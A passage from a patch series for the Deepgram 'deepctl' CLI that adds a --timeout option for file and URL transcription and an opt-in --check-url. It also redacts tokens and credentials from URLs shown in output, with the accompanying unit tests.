+                timeout_s=timeout or _PRERECORDED_TIMEOUT_S,
             )
         elif mode == "prerecorded_url":
             assert source is not None
@@ -590,6 +611,7 @@ def handle(
                 no_validate=no_validate,
                 caption_format=caption_format,
                 config=config,
+                timeout_s=timeout or _PRERECORDED_TIMEOUT_S,
             )
         elif mode == "stream_mic":
             return self._stream_mic(
@@ -698,6 +720,7 @@ def _prerecorded(
         no_validate: bool,
         caption_format: str | None,
         config: Config,
+        timeout_s: float = _PRERECORDED_TIMEOUT_S,
     ) -> BaseResult | CodedErrorResult:
         from deepctl_shared_utils import (
             probe_file,
@@ -788,9 +811,13 @@ def _prerecorded(
 
         try:
             if is_url:
-                result_dict = client.transcribe_url(source, options)
+                result_dict = client.transcribe_url(
+                    source, options, timeout_s=timeout_s
+                )
             else:
-                result_dict = client.transcribe_file(source, options, file_id=file_id)
+                result_dict = client.transcribe_file(
+                    source, options, timeout_s=timeout_s, file_id=file_id
+                )
         except UploadFileError as e:
             return coded_result(e)
         except Exception as e:
diff --git a/packages/deepctl-cmd-listen/tests/unit/test_prerecorded_upload.py b/packages/deepctl-cmd-listen/tests/unit/test_prerecorded_upload.py
index b32751bf..021d7f7a 100644
--- a/packages/deepctl-cmd-listen/tests/unit/test_prerecorded_upload.py
+++ b/packages/deepctl-cmd-listen/tests/unit/test_prerecorded_upload.py
@@ -1,14 +1,16 @@
-"""``dg listen`` prerecorded uploads (W2.4): streamed file bodies."""
+"""``dg listen`` prerecorded uploads (W2.4): streamed file bodies, --timeout."""
 
 from __future__ import annotations
 
 import os
 from typing import Any
-from unittest.mock import Mock
+from unittest.mock import Mock, patch
 
 import pytest
+from click.testing import CliRunner
 from deepctl_cmd_listen.command import ListenCommand
-from deepctl_core import Config, output, transport, upload
+from deepctl_cmd_listen.models import ListenResult
+from deepctl_core import Config, PluginManager, output, transport, upload
 from deepctl_core.upload import UploadFileError
 
 
@@ -93,3 +95,82 @@ def validate_then_swap(path):
     assert payload["code"] == "invalid_argument"
     assert payload["error"] == f"{audio} changed while dg was uploading it."
     client.client.listen.v1.media.transcribe_file.assert_not_called()
+
+
+# ── --timeout ────────────────────────────────────────────────────────
+
+
+def _invoke(args: list[str], prerecorded: Mock | None = None, **streams: Mock):
+    config = Mock(spec=Config)
+    config.get.side_effect = lambda key, default=None: (
+        True if key == "output.quiet" else default
+    )
+    config.get_profile.return_value.base_url = "https://api.deepgram.com"
+    command = ListenCommand()
+    done = ListenResult(status="success", source="file", mode="prerecorded")
+    with (
+        patch.object(command, "_prerecorded", prerecorded or Mock(return_value=done)),
+        patch.object(command, "_stream_mic", streams.get("mic", Mock())),
+        patch.object(command, "_stream_stdin", streams.get("stdin", Mock())),
+        patch("deepctl_core.base_command.AuthManager.guard"),
+        patch(
+            "deepctl_core.base_command.AuthManager.check_base_url",
+            return_value="https://api.deepgram.com",
+        ),
+    ):
+        click_command = PluginManager()._create_click_command(command)
+        return CliRunner().invoke(click_command, args, obj={"config": config})
+
+
+@pytest.mark.parametrize(
+    ("args", "expected"),
+    [
+        (["a.wav"], 300.0),
+        (["a.wav", "--timeout", "120"], 120.0),
+        (["https://example.com/a.wav", "--timeout", "2.5"], 2.5),
+    ],
+)
+def test_timeout_reaches_the_request(args, expected):
+    done = ListenResult(status="success", source="file", mode="prerecorded")
+    prerecorded = Mock(return_value=done)
+    result = _invoke(args, prerecorded)
+    assert result.exit_code == 0, result.output
+    assert prerecorded.call_args.kwargs["timeout_s"] == expected
+
+
+@pytest.mark.parametrize("value", ["0.5", "0", "-1", "soon"])
+def test_timeout_below_one_second_is_a_usage_error(value):
+    result = _invoke(["a.wav", "--timeout", value])
+    assert result.exit_code == 2
+    assert "--timeout" in result.output
+
+
+@pytest.mark.parametrize("args", [["--mic"], ["-"]])
+def test_timeout_with_a_live_source_is_a_usage_error(args):
+    mic, stdin = Mock(), Mock()
+    result = _invoke([*args, "--timeout", "30"], mic=mic, stdin=stdin)
+    assert result.exit_code == 2
+    assert "--timeout applies only to a file or URL source" in result.output
+    mic.assert_not_called()
+    stdin.assert_not_called()
+
+
+def test_prerecorded_passes_timeout_to_the_client():
+    client = Mock()
+    client.transcribe_file.return_value = {"results": {"channels": []}}
+    _prerecorded(client, timeout_s=42.0)
+    assert client.transcribe_file.call_args.kwargs == {
+        "timeout_s": 42.0,
+        "file_id": None,
+    }
+
+
+def test_help_shows_timeout():
+    result = _invoke(["--help"])
+    assert "--timeout" in result.output
+    # The approved text, whatever the wrap width.
+    assert (
+        "Seconds to wait at each step (connecting, sending, the response) "
+        "before giving up. Not a limit on the whole run. Default: 300. "
+        "Files and URLs only."
+    ) in " ".join(result.output.split())
diff --git a/packages/deepctl-core/src/deepctl_core/client.py b/packages/deepctl-core/src/deepctl_core/client.py
index bbfb0d4a..ba86112e 100644
--- a/packages/deepctl-core/src/deepctl_core/client.py
+++ b/packages/deepctl-core/src/deepctl_core/client.py
@@ -203,10 +203,12 @@ def transcribe_file(
         file_path: str | Path,
         options: dict[str, Any] | None = None,
         *,
+        timeout_s: float | None = None,
         file_id: tuple[int, int] | None = None,
     ) -> dict[str, Any]:
         """Transcribe an audio file.
 
+        ``timeout_s`` replaces the client's 60 s timeout for this request.
         ``file_id`` is ``(st_dev, st_ino)`` of the file the caller validated;
         the upload stops if the path now names another file.
         """
@@ -222,30 +224,41 @@ def transcribe_file(
         if options:
             default_options.update(options)
 
+        if TYPE_CHECKING:
+            from deepgram.core.request_options import RequestOptions
+
         from .upload import FileBody, UploadFileError
 
         try:
             # Streamed from disk; the SDK resends the same body on a retry.
             with FileBody(file_path, file_id=file_id) as body:
+                request_options: RequestOptions = {
+                    "additional_headers": {"Content-Length": str(len(body))}
+                }
+                if timeout_s is not None:
+                    request_options["timeout"] = timeout_s
                 response = self.client.listen.v1.media.transcribe_file(
-                    request=body,
-                    request_options={
-                        "additional_headers": {"Content-Length": str(len(body))}
-                    },
-                    **default_options,
+                    request=body, request_options=request_options, **default_options
                 )
             return cast("dict[str, Any]", response.model_dump())
 
         except UploadFileError:
             raise
         except Exception as e:
-            transport.raise_for(e, self._secrets)
+            transport.raise_for(e, self._secrets, timeout_s=timeout_s)
             raise self._failed("Transcription failed", e)
 
     def transcribe_url(
-        self, url: str, options: dict[str, Any] | None = None
+        self,
+        url: str,
+        options: dict[str, Any] | None = None,
+        *,
+        timeout_s: float | None = None,
     ) -> dict[str, Any]:
-        """Transcribe audio from URL."""
+        """Transcribe audio from URL.
+
+        ``timeout_s`` replaces the client's 60 s timeout for this request.
+        """
         default_options: dict[str, Any] = {
             "model": "nova-3",
             "smart_format": True,
@@ -254,14 +267,20 @@ def transcribe_url(
         if options:
             default_options.update(options)
 
+        if TYPE_CHECKING:
+            from deepgram.core.request_options import RequestOptions
+
+        request_options: RequestOptions = {}
+        if timeout_s is not None:
+            request_options["timeout"] = timeout_s
         try:
             response = self.client.listen.v1.media.transcribe_url(
-                url=url, **default_options
+                url=url, request_options=request_options, **default_options
             )
             return cast("dict[str, Any]", response.model_dump())
 
         except Exception as e:
-            transport.raise_for(e, self._secrets)
+            transport.raise_for(e, self._secrets, timeout_s=timeout_s)
             raise self._failed("Transcription failed", e)
 
     # ── Text-to-Speech ─────────────────────────────────────────────
diff --git a/packages/deepctl-core/src/deepctl_core/transport.py b/packages/deepctl-core/src/deepctl_core/transport.py
index 70717dc5..bb1030c5 100644
--- a/packages/deepctl-core/src/deepctl_core/transport.py
+++ b/packages/deepctl-core/src/deepctl_core/transport.py
@@ -372,9 +372,15 @@ def _api_message(body: object, status: int, secrets: tuple[str, ...]) -> str:
 
 
 def map_exception(
-    exc: BaseException, secrets: tuple[str, ...] = ()
+    exc: BaseException,
+    secrets: tuple[str, ...] = (),
+    *,
+    timeout_s: float | None = None,
 ) -> TransportError | None:
-    """The coded error for a failed request, or ``None`` when ``exc`` isn't one."""
+    """The coded error for a failed request, or ``None`` when ``exc`` isn't one.
+
+    ``timeout_s`` is the request's timeout when it isn't the default.
+    """
     if isinstance(exc, TransportError):
         return exc
     if "httpx" in sys.modules:
@@ -382,10 +388,11 @@ def map_exception(
 
         if isinstance(exc, httpx.TimeoutException):
             host = _host(exc)
+            seconds = _seconds(timeout_s or DEFAULT_TIMEOUT_S)
             return TransportError(
                 "timeout",
-                {"host": host, "timeout_s": _seconds(DEFAULT_TIMEOUT_S)},
-                {"host": host, "timeout_s": _seconds(DEFAULT_TIMEOUT_S)},
+                {"host": host, "timeout_s": seconds},
+                {"host": host, "timeout_s": seconds},
             )
         if isinstance(exc, httpx.ProxyError):
             host = _host(exc)
@@ -461,9 +468,14 @@ def _seconds(value: float) -> int | float:
     return int(value) if float(value).is_integer() else value
 
 
-def raise_for(exc: BaseException, secrets: tuple[str, ...] = ()) -> None:
+def raise_for(
+    exc: BaseException,
+    secrets: tuple[str, ...] = (),
+    *,
+    timeout_s: float | None = None,
+) -> None:
     """Raise the coded :class:`TransportError` for ``exc``, if it maps to one."""
-    mapped = map_exception(exc, secrets)
+    mapped = map_exception(exc, secrets, timeout_s=timeout_s)
     if mapped is not None and mapped is not exc:
         raise mapped from exc
     if mapped is not None:
diff --git a/packages/deepctl-core/tests/unit/test_upload.py b/packages/deepctl-core/tests/unit/test_upload.py
index 821ec303..9c401701 100644
--- a/packages/deepctl-core/tests/unit/test_upload.py
+++ b/packages/deepctl-core/tests/unit/test_upload.py
@@ -65,8 +65,13 @@ def record(request: httpx.Request) -> httpx.Response:
         seen.append((request, request.read()))
         return handler(request)
 
+    # The same timeout and redirect settings as transport.shared_client().
     transport._set_client(
-        httpx.Client(transport=httpx.MockTransport(record), follow_redirects=True)
+        httpx.Client(
+            transport=httpx.MockTransport(record),
+            timeout=transport.DEFAULT_TIMEOUT_S,
+            follow_redirects=True,
+        )
     )
     config = Config(config_path=str(Path.cwd() / "none.yaml"))
     return DeepgramClient(config, AuthManager(config)), seen
@@ -357,3 +362,47 @@ def test_no_module_level_import_cost():
         [sys.executable, "-c", code], capture_output=True, text=True, check=True
     )
     assert out.stdout.strip() == "[]"
+
+
+# ── --timeout ────────────────────────────────────────────────────────
+
+
+def _timed_out(request: httpx.Request) -> httpx.Response:
+    raise httpx.ReadTimeout("timed out", request=request)
+
+
+@pytest.mark.parametrize(
+    ("timeout_s", "reported"), [(None, 60), (2.0, 2), (2.5, 2.5), (300.0, 300)]
+)
+def test_timeout_reports_the_effective_value(tmp_path, timeout_s, reported):
+    path = _audio(tmp_path, 10)
+    client, seen = facade(_timed_out)
+    with pytest.raises(transport.TransportError) as err:
+        client.transcribe_file(path, timeout_s=timeout_s)
+    assert err.value.code == "timeout"
+    assert err.value.details == {"host": "api.deepgram.com", "timeout_s": reported}
+    assert err.value.error == f"api.deepgram.com didn't respond within {reported} s."
+    ((request, _),) = seen
+    assert request.extensions["timeout"]["read"] == (timeout_s or 60)
+
+
+def test_url_timeout_reports_the_effective_value():
+    client, seen = facade(_timed_out)
+    with pytest.raises(transport.TransportError) as err:
+        client.transcribe_url("https://example.com/a.wav", timeout_s=120)
+    assert err.value.details["timeout_s"] == 120
+    ((request, _),) = seen
+    assert request.extensions["timeout"] == {
+        "connect": 120,
+        "read": 120,
+        "write": 120,
+        "pool": 120,
+    }
+
+
+def test_other_requests_keep_the_60_s_timeout():
+    client, seen = facade(_timed_out)
+    with pytest.raises(transport.TransportError) as err:
+        client.list_models()
+    assert err.value.details["timeout_s"] == 60
+    assert seen[0][0].extensions["timeout"]["read"] == 60
diff --git a/src/deepctl/_manifest.d/listen.json b/src/deepctl/_manifest.d/listen.json
index 53dd5120..d842cb90 100644
--- a/src/deepctl/_manifest.d/listen.json
+++ b/src/deepctl/_manifest.d/listen.json
@@ -58,6 +58,32 @@
         "hidden": false,
         "help": "Output WebVTT captions instead of plain transcript. In live mode, entries are printed as they arrive. Mutually exclusive with --srt."
       },
+      {
+        "class": "option",
+        "name": "timeout",
+        "opts": [
+          "--timeout"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "float range",
+          "min": 1,
+          "max": null,
+          "min_open": false,
+          "max_open": false,
+          "clamp": false
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Seconds to wait at each step (connecting, sending, the response) before giving up. Not a limit on the whole run. Default: 300. Files and URLs only."
+      },
       {
         "class": "option",
         "name": "no_validate",
diff --git a/src/deepctl/_manifest.d/transcribe.json b/src/deepctl/_manifest.d/transcribe.json
index 04fc32a6..b2d2fbd3 100644
--- a/src/deepctl/_manifest.d/transcribe.json
+++ b/src/deepctl/_manifest.d/transcribe.json
@@ -58,6 +58,32 @@
         "hidden": false,
         "help": "Output WebVTT captions instead of plain transcript. In live mode, entries are printed as they arrive. Mutually exclusive with --srt."
       },
+      {
+        "class": "option",
+        "name": "timeout",
+        "opts": [
+          "--timeout"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "float range",
+          "min": 1,
+          "max": null,
+          "min_open": false,
+          "max_open": false,
+          "clamp": false
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Seconds to wait at each step (connecting, sending, the response) before giving up. Not a limit on the whole run. Default: 300. Files and URLs only."
+      },
       {
         "class": "option",
         "name": "no_validate",

From 4491eb126bf9a9300e4b66511682297742a85ad8 Mon Sep 17 00:00:00 2001
From: Corey Weathers <corey.weathers@deepgram.com>
Date: Sat, 31 Oct 2026 18:32:18 -0400
Subject: [PATCH 25/88] perf(listen): check URL sources without fetching them

Before every URL transcription, dg sent its own HEAD request (and a
ranged GET when HEAD failed) to the URL, then printed the whole URL,
query string included, on stderr and in the result. A presigned URL
carries its token in the query string.

- A URL source is checked by format only: an http or https scheme and
  a host, with no network access. --check-url opts in to the HEAD
  check. It is a usage error with a file or live source, or with
  --no-validate.
- The --check-url request carries no API key and keeps no cookies,
  including across its own redirects. Its GET fallback is streamed and
  reads no body, so a server that ignores Range can't fill memory.
- The "Transcribing" line, the result table and URL errors show
  scheme://host/.../<last path segment>, without user info, query
  string or fragment (validation.display_url): some hosts put a token
  in the path. The result's source_path keeps the path and drops the
  rest (validation.output_url). The request to Deepgram still gets the
  full URL. A URL passed where a file path was expected is shown the
  same way in "File not found" errors.
- A URL whose user info can't be told apart safely (a password with an
  unescaped /, ? or #, an empty host, a bad port, or an @ outside the
  parsed host) is shown as scheme://<redacted>/... everywhere, the
  result's source_path included. Error texts drop the user info and
  query of the URL they quote.
- The scheme match is case-insensitive: HTTPS://... is a URL source.
- httpx loads only when --check-url runs.
- The listen README describes URL sources, --check-url and what
  source_path keeps.

Changelog:

**`dg listen <URL>`**: in `-o json`/`yaml` output, `source_path` is the
URL without its user info, query string or fragment; the request to
Deepgram still uses the full URL. URL sources are checked by format
only; pass `--check-url` to check that the URL responds (a HEAD request
that carries no API key or cookies).
---
 packages/deepctl-cmd-listen/README.extra.md   |   5 +
 packages/deepctl-cmd-listen/README.md         |   6 +
 .../src/deepctl_cmd_listen/command.py         |  74 +++-
 .../tests/unit/test_prerecorded_upload.py     | 296 +++++++++++++-
 .../src/deepctl_shared_utils/validation.py    | 345 ++++++++++------
 .../tests/unit/test_validation_url.py         | 367 ++++++++++++++++++
 src/deepctl/_manifest.d/listen.json           |  21 +
 src/deepctl/_manifest.d/transcribe.json       |  21 +
 8 files changed, 995 insertions(+), 140 deletions(-)
 create mode 100644 packages/deepctl-cmd-listen/README.extra.md
 create mode 100644 packages/deepctl-shared-utils/tests/unit/test_validation_url.py

diff --git a/packages/deepctl-cmd-listen/README.extra.md b/packages/deepctl-cmd-listen/README.extra.md
new file mode 100644
index 00000000..d42da3eb
--- /dev/null
+++ b/packages/deepctl-cmd-listen/README.extra.md
@@ -0,0 +1,5 @@
+## URL sources
+
+`dg listen <URL>` checks a URL by format only (an http or https scheme and a host). Pass `--check-url` to check that the URL responds first: a HEAD request, then a 1-byte GET if needed. That check sends no Deepgram API key and keeps no cookies, but any `user:pass@` you put in the URL goes with it, as with any fetch.
+
+Status lines and errors show the URL as `scheme://host/…/<last path segment>`, without user info, query string or fragment. In `-o json` and `-o yaml` output, `source_path` keeps the full path (automation needs it to identify the file) but drops the user info, query string and fragment. If your host puts a token in the URL path, treat `source_path` as sensitive. The request to Deepgram always uses the full URL.
diff --git a/packages/deepctl-cmd-listen/README.md b/packages/deepctl-cmd-listen/README.md
index 297ae958..864fa2e9 100644
--- a/packages/deepctl-cmd-listen/README.md
+++ b/packages/deepctl-cmd-listen/README.md
@@ -31,6 +31,12 @@ pipx run deepctl --help
 |---------|-------------|
 | `deepctl listen` | `deepctl_cmd_listen.command:ListenCommand` |
 
+## URL sources
+
+`dg listen <URL>` checks a URL by format only (an http or https scheme and a host). Pass `--check-url` to check that the URL responds first: a HEAD request, then a 1-byte GET if needed. That check sends no Deepgram API key and keeps no cookies, but any `user:pass@` you put in the URL goes with it, as with any fetch.
+
+Status lines and errors show the URL as `scheme://host/…/<last path segment>`, without user info, query string or fragment. In `-o json` and `-o yaml` output, `source_path` keeps the full path (automation needs it to identify the file) but drops the user info, query string and fragment. If your host puts a token in the URL path, treat `source_path` as sensitive. The request to Deepgram always uses the full URL.
+
 ## Dependencies
 
 - `click>=8.2.0,<9`
diff --git a/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/command.py b/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/command.py
index 7ac3ecad..b36e567f 100644
--- a/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/command.py
+++ b/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/command.py
@@ -85,7 +85,8 @@
 
 
 def _is_url(s: str) -> bool:
-    return s.startswith(("http://", "https://"))
+    # Schemes are case-insensitive: HTTPS://... is a URL, not a file path.
+    return s[:8].lower().startswith(("http://", "https://"))
 
 
 def _ws_base(client: DeepgramClient) -> str:
@@ -365,6 +366,16 @@ def get_arguments(self) -> list[dict[str, Any]]:
                 "is_flag": True,
                 "is_option": True,
             },
+            {
+                "names": ["--check-url"],
+                "help": (
+                    "Check that the URL responds before transcribing: a HEAD "
+                    "request, then a 1-byte GET if needed. Sends no Deepgram "
+                    "API key."
+                ),
+                "is_flag": True,
+                "is_option": True,
+            },
             {
                 "names": ["--timeout"],
                 "help": (
@@ -511,6 +522,11 @@ def handle(
         save_to = kwargs.get("save_to")
         probe = kwargs.get("probe", False)
         no_validate = kwargs.get("no_validate", False)
+        check_url = kwargs.get("check_url", False)
+        if check_url and mode != "prerecorded_url":
+            raise click.UsageError("--check-url works only with a URL source.")
+        if check_url and no_validate:
+            raise click.UsageError("--check-url can't be used with --no-validate.")
         timeout: float | None = kwargs.get("timeout")
         if timeout is not None and mode in ("stream_mic", "stream_stdin"):
             raise click.UsageError(
@@ -612,6 +628,7 @@ def handle(
                 caption_format=caption_format,
                 config=config,
                 timeout_s=timeout or _PRERECORDED_TIMEOUT_S,
+                check_url=check_url,
             )
         elif mode == "stream_mic":
             return self._stream_mic(
@@ -721,15 +738,27 @@ def _prerecorded(
         caption_format: str | None,
         config: Config,
         timeout_s: float = _PRERECORDED_TIMEOUT_S,
+        check_url: bool = False,
     ) -> BaseResult | CodedErrorResult:
         from deepctl_shared_utils import (
             probe_file,
             require_ffprobe,
-            validate_audio_file,
-            validate_url,
+        )
+        from deepctl_shared_utils.validation import (
+            audio_file_problem,
+            display_url,
+            output_url,
+            scrub_url_text,
+            url_problem,
         )
 
         source_kind = "url" if is_url else "file"
+        # A presigned URL carries its token in the query string, and some
+        # hosts put one in the path: never show it, nor one passed where a
+        # file path was expected. Status lines and errors show the host and
+        # the last path segment; the result's source_path keeps the path.
+        url_like = is_url or "://" in source
+        shown = display_url(source) if url_like else source
 
         # The file validated (and probed) must be the file uploaded: its
         # identity now, compared again once the upload opens it.
@@ -745,21 +774,18 @@ def _prerecorded(
 
         # ── Validation ─────────────────────────────────────────────────
         if not no_validate:
+            # One line per failure, worded here; warnings as WARN lines.
             if is_url:
-                if not validate_url(source, check_accessibility=True):
-                    return BaseResult(
-                        status="error", message=f"URL is not accessible: {source}"
-                    )
+                # The format only, unless --check-url asks for a HEAD request.
+                problem, warnings = url_problem(source, check_accessibility=check_url)
+            elif not Path(source).exists():
+                problem, warnings = f"File not found: {shown}", []
             else:
-                if not Path(source).exists():
-                    return BaseResult(
-                        status="error", message=f"File not found: {source}"
-                    )
-                if not validate_audio_file(source):
-                    return BaseResult(
-                        status="error",
-                        message=f"File does not appear to be audio: {source}",
-                    )
+                problem, warnings = audio_file_problem(source)
+            for warning in warnings:
+                print_warning(escape(warning), stderr=True)
+            if problem is not None:
+                return BaseResult(status="error", message=problem)
 
         # ── Optional ffprobe analysis ──────────────────────────────────
         probe_info: dict[str, Any] | None = None
@@ -804,7 +830,7 @@ def _prerecorded(
             options["numerals"] = "true"
 
         # ── Call API ───────────────────────────────────────────────────
-        status.print(f"[dim]Transcribing[/dim] {source}")
+        status.print(f"[dim]Transcribing[/dim] {escape(shown)}")
         status.print(f"[dim]Model:[/dim] {model}  [dim]Language:[/dim] {language}")
 
         from deepctl_core.upload import UploadFileError, coded_result
@@ -820,11 +846,14 @@ def _prerecorded(
                 )
         except UploadFileError as e:
             return coded_result(e)
+        except FileNotFoundError:  # --no-validate and no such file
+            raise click.ClickException(f"File not found: {shown}") from None
         except Exception as e:
             # Raise (not return an error result) so an API rejection — e.g. a
             # --redact value the v1 endpoint refuses — exits non-zero and is
             # visible, rather than printing nothing and exiting 0.
-            raise click.ClickException(f"Transcription failed: {e}")
+            detail = scrub_url_text(e, source) if url_like else e
+            raise click.ClickException(f"Transcription failed: {detail}")
 
         # ── Format transcript ──────────────────────────────────────────
         if diarize:
@@ -860,7 +889,7 @@ def _prerecorded(
         return ListenResult(
             status="success",
             source=source_kind,
-            source_path=source,
+            source_path=output_url(source) if url_like else source,
             mode="prerecorded",
             model=model,
             language=language,
@@ -1827,7 +1856,12 @@ def _print_prerecorded_result(self, result: ListenResult) -> None:
         table.add_column("Key", style="dim")
         table.add_column("Value")
 
-        table.add_row("Source", result.source_path)
+        source_shown = result.source_path
+        if result.source == "url":
+            from deepctl_shared_utils.validation import display_url
+
+            source_shown = display_url(source_shown)
+        table.add_row("Source", source_shown)
         table.add_row("Model", model_name or result.model)
         if model_version:
             table.add_row("Version", model_version)
diff --git a/packages/deepctl-cmd-listen/tests/unit/test_prerecorded_upload.py b/packages/deepctl-cmd-listen/tests/unit/test_prerecorded_upload.py
index 021d7f7a..086ddedd 100644
--- a/packages/deepctl-cmd-listen/tests/unit/test_prerecorded_upload.py
+++ b/packages/deepctl-cmd-listen/tests/unit/test_prerecorded_upload.py
@@ -1,4 +1,4 @@
-"""``dg listen`` prerecorded uploads (W2.4): streamed file bodies, --timeout."""
+"""``dg listen`` prerecorded sources: streamed files, --timeout, URLs."""
 
 from __future__ import annotations
 
@@ -6,6 +6,7 @@
 from typing import Any
 from unittest.mock import Mock, patch
 
+import click
 import pytest
 from click.testing import CliRunner
 from deepctl_cmd_listen.command import ListenCommand
@@ -82,9 +83,11 @@ def test_path_swapped_during_validation_uploads_nothing(tmp_path, monkeypatch):
 
     def validate_then_swap(path):
         os.replace(other, audio)  # someone swaps the path mid-validation
-        return True
+        return None, []
 
-    monkeypatch.setattr(deepctl_shared_utils, "validate_audio_file", validate_then_swap)
+    monkeypatch.setattr(
+        deepctl_shared_utils.validation, "audio_file_problem", validate_then_swap
+    )
     client = Mock(spec=DeepgramClient)
     client.transcribe_file.side_effect = lambda path, options, **kw: (
         DeepgramClient.transcribe_file(client, path, options, **kw)
@@ -174,3 +177,290 @@ def test_help_shows_timeout():
         "before giving up. Not a limit on the whole run. Default: 300. "
         "Files and URLs only."
     ) in " ".join(result.output.split())
+
+
+# ── URL sources ──────────────────────────────────────────────────────
+
+SIGNED = "https://bucket.example/call.wav?X-Amz-Signature=URLSENTINELTOKEN"
+
+
+@pytest.mark.parametrize(("check_url", "probed"), [(False, False), (True, True)])
+def test_url_is_checked_by_format_unless_check_url(check_url, probed):
+    client = Mock()
+    client.transcribe_url.return_value = {"results": {"channels": []}}
+    with patch(
+        "deepctl_shared_utils.validation.url_problem", return_value=(None, [])
+    ) as validate:
+        _prerecorded(
+            client, SIGNED, is_url=True, no_validate=False, check_url=check_url
+        )
+    validate.assert_called_once_with(SIGNED, check_accessibility=probed)
+    # The API still gets the whole URL, token included.
+    assert client.transcribe_url.call_args.args[0] == SIGNED
+
+
+def test_no_validate_skips_both_checks():
+    client = Mock()
+    client.transcribe_url.return_value = {"results": {"channels": []}}
+    with patch("deepctl_shared_utils.validation.url_problem") as validate:
+        _prerecorded(client, SIGNED, is_url=True, no_validate=True, check_url=True)
+    validate.assert_not_called()
+
+
+def test_url_query_never_reaches_stderr_or_the_result(capsys):
+    client = Mock()
+    client.transcribe_url.return_value = {"results": {"channels": []}}
+    result = _prerecorded(client, SIGNED, is_url=True, no_validate=False)
+    err = capsys.readouterr().err
+    assert "Transcribing https://bucket.example/call.wav" in err
+    assert "URLSENTINELTOKEN" not in err
+    assert result.source_path == "https://bucket.example/call.wav"
+    assert "URLSENTINELTOKEN" not in result.model_dump_json()
+
+
+def _unreachable(monkeypatch):
+    """--check-url's request fails to connect; nothing leaves the test."""
+    import httpx
+
+    def refuse(self, method, url, **kwargs):
+        raise httpx.ConnectError("connection refused")
+
+    monkeypatch.setattr(httpx.Client, "request", refuse)
+    monkeypatch.setattr(httpx.Client, "send", refuse)
+
+
+@pytest.mark.parametrize(
+    ("url", "check_url", "message"),
+    [
+        (
+            SIGNED.replace("https:", "ftp:"),
+            False,
+            "URLs must start with http:// or https://: ftp://bucket.example/call.wav",
+        ),
+        (
+            SIGNED,
+            True,
+            "--check-url couldn't reach https://bucket.example/call.wav "
+            "(connection refused)",
+        ),
+    ],
+)
+def test_failed_url_check_message_drops_the_query(
+    url, check_url, message, monkeypatch, capsys
+):
+    _unreachable(monkeypatch)
+    result = _prerecorded(
+        Mock(), url, is_url=True, no_validate=False, check_url=check_url
+    )
+    assert result.status == "error"
+    assert result.message == message
+    # One report of the failure: the result, nothing extra on stderr.
+    out = capsys.readouterr()
+    assert "reach" not in out.err and "http://" not in out.err
+    assert "URLSENTINELTOKEN" not in out.err + out.out
+
+
+@pytest.mark.parametrize(("args", "expected"), [([], False), (["--check-url"], True)])
+def test_check_url_flag_reaches_prerecorded(args, expected):
+    done = ListenResult(status="success", source="url", mode="prerecorded")
+    prerecorded = Mock(return_value=done)
+    result = _invoke([SIGNED, *args], prerecorded)
+    assert result.exit_code == 0, result.output
+    assert prerecorded.call_args.kwargs["check_url"] is expected
+
+
+def test_help_shows_check_url():
+    output = _invoke(["--help"]).output
+    assert "--check-url" in output
+    # The approved text, whatever the wrap width.
+    assert (
+        "Check that the URL responds before transcribing: a HEAD request, "
+        "then a 1-byte GET if needed. Sends no Deepgram API key."
+    ) in " ".join(output.split())
+
+
+# ── Scheme case, URL-looking paths, and --check-url ──
+
+UPPER = "HTTPS://u:URLPASS@bucket.example/call.wav?X-Amz-Signature=URLSENTINELTOKEN"
+
+
+@pytest.mark.parametrize("url", [UPPER, "Http://h.example/a.wav", "hTtPs://h/a"])
+def test_scheme_is_case_insensitive(url):
+    from deepctl_cmd_listen.command import _is_url
+
+    assert _is_url(url)
+
+
+def test_uppercase_scheme_routes_to_the_url_path():
+    done = ListenResult(status="success", source="url", mode="prerecorded")
+    prerecorded = Mock(return_value=done)
+    result = _invoke([UPPER], prerecorded)
+    assert result.exit_code == 0, result.output
+    assert prerecorded.call_args.kwargs["is_url"] is True
+
+
+def test_uppercase_url_never_shows_the_token(capsys):
+    client = Mock()
+    client.transcribe_url.return_value = {"results": {"channels": []}}
+    result = _prerecorded(client, UPPER, is_url=True, no_validate=False)
+    err = capsys.readouterr().err
+    assert "URLSENTINELTOKEN" not in err and "URLPASS" not in err
+    assert result.source_path == "https://bucket.example/call.wav"
+
+
+URL_AS_PATH = "ftp://u:URLPASS@h.example/a.wav?X-Amz-Signature=URLSENTINELTOKEN"
+
+
+def test_url_looking_path_not_found_hides_the_token(capsys):
+    result = _prerecorded(Mock(), URL_AS_PATH, no_validate=False)
+    assert result.status == "error"
+    assert result.message == "File not found: ftp://h.example/a.wav"
+    assert "URLSENTINELTOKEN" not in capsys.readouterr().err
+
+
+def test_url_looking_path_not_found_without_validation_hides_the_token(capsys):
+    from deepctl_core.client import DeepgramClient
+
+    client = Mock(spec=DeepgramClient)
+    client.transcribe_file.side_effect = lambda path, options, **kw: (
+        DeepgramClient.transcribe_file(client, path, options, **kw)
+    )
+    with pytest.raises(click.ClickException) as err:
+        _prerecorded(client, URL_AS_PATH, no_validate=True)
+    assert err.value.message == (
+        "File not found: ftp://h.example/a.wav"
+    )
+    assert "URLSENTINELTOKEN" not in capsys.readouterr().err
+
+
+@pytest.mark.parametrize(
+    ("args", "message"),
+    [
+        (["a.wav", "--check-url"], "--check-url works only with a URL source."),
+        (
+            [SIGNED, "--check-url", "--no-validate"],
+            "--check-url can't be used with --no-validate.",
+        ),
+        (
+            ["a.wav", "--check-url", "--no-validate"],
+            "--check-url works only with a URL source.",
+        ),
+        (["--mic", "--check-url"], "--check-url works only with a URL source."),
+        (["-", "--check-url"], "--check-url works only with a URL source."),
+    ],
+)
+def test_check_url_without_a_checked_url_is_a_usage_error(args, message):
+    prerecorded, mic, stdin = Mock(), Mock(), Mock()
+    result = _invoke(args, prerecorded, mic=mic, stdin=stdin)
+    assert result.exit_code == 2
+    assert message in result.output
+    prerecorded.assert_not_called()
+    mic.assert_not_called()
+    stdin.assert_not_called()
+    assert "URLSENTINELTOKEN" not in result.output
+
+
